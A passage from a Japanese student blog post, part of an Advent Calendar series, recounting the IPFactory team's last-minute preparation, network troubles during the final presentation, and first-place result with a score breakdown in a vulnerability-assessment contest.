VCに籠って唸りながら土日を過ごしました。
「日曜日には8割方終わらせて安心感を得たいね」と話していましたが、実際に日曜日が終わるころにスライドの進捗は感覚10%程度でした。

火曜の放課後の時点でシナリオを練り終え、なんとか提出できるレベルになったのは最終審査会当日の朝4時でした。
その後2時間だけ寝て登校し、学校で最終調整をして提出締め切り2分前に最新版を提出して最終審査会へ。

最終審査会

ネットワーク

木曜日は普通に登校して授業を受けてる生徒が多い影響か、学校のネットワークがめちゃめちゃ不安定でした。
準備しておいた有線LANは「ネットワークなし」になってしまったり。疎通確認は前日の放課後にやっていたため、人数による影響は考慮が足りていませんでした。
なんなら有線よりWi-Fiの無線の方が安定していたり・・・

発表

決勝に進んだ10チームのうち、IPFactory の発表は 6 番目。 お昼休憩開けて一番目の発表です。

質問がかなり鋭かったりするので、他のチームの質問内容や返答について「自分達ならどうこたえるか」とか話し合っていました。

そしていざ発表する際、ネットワークの影響で映像にかなりの遅延が。
酷い場所は音声と映像に20秒程度のズレが発生していました。

ちゃんとタイミングよくページをめくるよう頑張っていたのですが、しょうもない環境の問題で発表のクオリティが下がってしまったかもと思うと何とも言えない気持ちになりますね。

しかし、発表のシナリオ自体はかなり良かったのかなと思います。
直前まで「これで良いのか?」を繰り返しただけあって、期間中に考えた中で最高のシナリオで発表できました。

発表スライドはこちら。

speakerdeck.com

結果

1 位。やったぜ。

評価内訳

発見した脆弱性・報告内容・工夫・発表 の 4 軸で評価されていて、それぞれの評価の順位も公開されました。

  • 発見した脆弱性: 51pt ( 1 位)
  • 報告内容: 48pt ( 1 位)
  • 工夫: 42pt ( 4pt 差 2 位)
  • 発表: 42pt ( 1pt 差 2 位)
  • 合計: 183pt ( 1 位)

ということで "発見した脆弱性" 及び "報告" が1位、残り二つもかなりの僅差で2位になっていることがわかります。
特に脆弱性の発見数ではそのカラムで 2位のチームに 11pt もの大差をつけることができていました。診断作業のほとんどが自分だったのでかなり嬉しいですね。
全ての評価で安定して高い数値を出せていて、24時間体制・徹夜で頑張った甲斐があったかなと思います。

合計点では 2 位のチームに 30pt もの差をつけていて、このあたりの講評で「圧倒的」「プロに近いレベルのレポート」とまで言われていてとても嬉しかったです。

まとめ

セキュリティ・ミニキャンプオンライン 2022 や CODEBLUE'22 の学生スタッフをはじめとして、様々な予定の中でどうにかして時間を捻出する2カ月となりました。

課題のVMや再診断の設定など、すごく作りこまれていてとても楽しいコンテストでした。コンテスト運営に関わっている皆様に感謝です。

だらだらと長くなってしまいましたが、これで参加記もとい優勝記とさせていただきます。
たぶんチームメンバーは別の視点から優勝記を書いてくれるので、ぜひご覧ください。

P.S. ここ最近下校の度に見ていたはずの横浜駅のイルミネーションが初めて綺麗に見えました。
イルミネーションは見る側のメンタルが一番重要なのかもしれません。


最後までご覧いただきありがとうございました。

この記事は IPFactory Advent Calendar 2022 の 16 日目の記事です。

qiita.com

昨日は im_yappi くんによる「Echartsを布教したい!」でした。

www.yappi.jp

明日は n01e0 が枠をとっています。お楽しみに。

*1:過去の優勝歴を見れば意味が分かります。